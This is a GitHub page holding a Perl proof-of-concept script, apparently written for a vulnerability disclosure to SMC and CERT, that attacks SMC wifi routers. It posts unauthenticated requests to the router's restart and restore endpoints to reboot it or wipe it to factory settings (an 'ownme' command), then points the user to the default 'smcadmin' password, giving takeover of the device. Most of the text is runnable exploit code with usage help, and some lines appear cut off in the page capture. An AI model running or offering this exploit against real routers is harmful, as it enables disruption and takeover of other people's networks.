Skip to content
Find file
Fetching contributors…
Cannot retrieve contributors at this time
128 lines (99 sloc) 3.15 KB
#!/usr/bin/perl -w
=head1 NAME
$Id:,v 1.3 2007/05/13 18:29:30 paulg Exp $
=head1 VERSION
demonstrates security flaw (reported to SMC and CERT) in SMC wifi routers
see also:
HTTP POST Details:
<form method="POST" action="" name="RebootForm">
<input type="hidden" name="page" value="tools_restore">
<input type="hidden" name="logout">
To restore the factory default settings of the system,click on the &quot;SAVE SETTINGS&quot; button.
<input type="submit" name="savesetting" value="SAVE SETTINGS">
<form method="POST" action="/cgi-bin/restart.exe" name="RebootForm">
<input type="submit" name="savesetting" value="REBOOT ROUTER">
<input type="hidden" name="restart_time" value="0">
<input type="hidden" name="reload" value="0">
<input type="hidden" name="restart_page" value="">
<input type="hidden" name="location_page" value="system_remote_mgmt.stm">
<input type="password" size="12" maxlength="12" name="userOldPswd" value="">
<input type="password" size="12" maxlength="12" name="userNewPswd" value="">
<input type="password" size="12" maxlength="12" name="userConPswd" value="">
<input type="text" name="timeout" size="3" maxlength="3">
<input type="submit" name="savesetting" value="SAVE SETTINGS">
=head1 AUTHOR
Paul Gallagher
use strict;
use warnings;
use Getopt::Long;
use LWP::UserAgent;
use HTTP::Response;
use Sys::Hostname;
use NetAddr::IP;
my $opt_help;
my $opt_gw;
"help" => \$opt_help,
"gw=s" => \$opt_gw
my $opt_cmd = shift;
usage() if $opt_help;
usage() unless defined($opt_cmd);
# guess the gateway
if (! $opt_gw) {
$opt_gw = (NetAddr::IP->new(hostname,'')->network + 1)->addr;
print "Guess your gateway is ", $opt_gw, "\n";
} else {
print "Using gateway ", $opt_gw, "\n";
# now branch to operation
if ( $opt_cmd =~ /reboot/i ) {
if ( $opt_cmd =~ /ownme/i ) {
sub reboot {
print "Commencing router reboot...";
my $ua = LWP::UserAgent->new();
my $url = 'http://' . $opt_gw . '/cgi-bin/restart.exe';
my $response = $ua->post( $url, { savesetting => 'REBOOT ROUTER' } );
if ($response->is_redirect()) {
print ".. rebooting\n";
} else {
print ".. hmm, not the expected response:\n";
print $response->content();
sub factoryreset {
print "Attempting to reset factory defaults ...";
my $ua = LWP::UserAgent->new();
my $url = 'http://' . $opt_gw . '/cgi-bin/restore.exe';
my $response = $ua->post( $url, { savesetting => 'SAVE SETTINGS' } );
if ($response->is_redirect()) {
print ".. reset. Go to http://${opt_gw}/ and try password of 'smcadmin'\n";
} else {
print ".. hmm, not the expected response:\n";
print $response->content();
sub usage {
print <<END_OF_USAGE;
Usage: [options] [command]
-help # this message
-gw=<value> # set specific gateway address (use if script can't guess correctly)
reboot # reboots router
ownme # performs factory reset and reboot
Jump to Line
Something went wrong with that request. Please try again.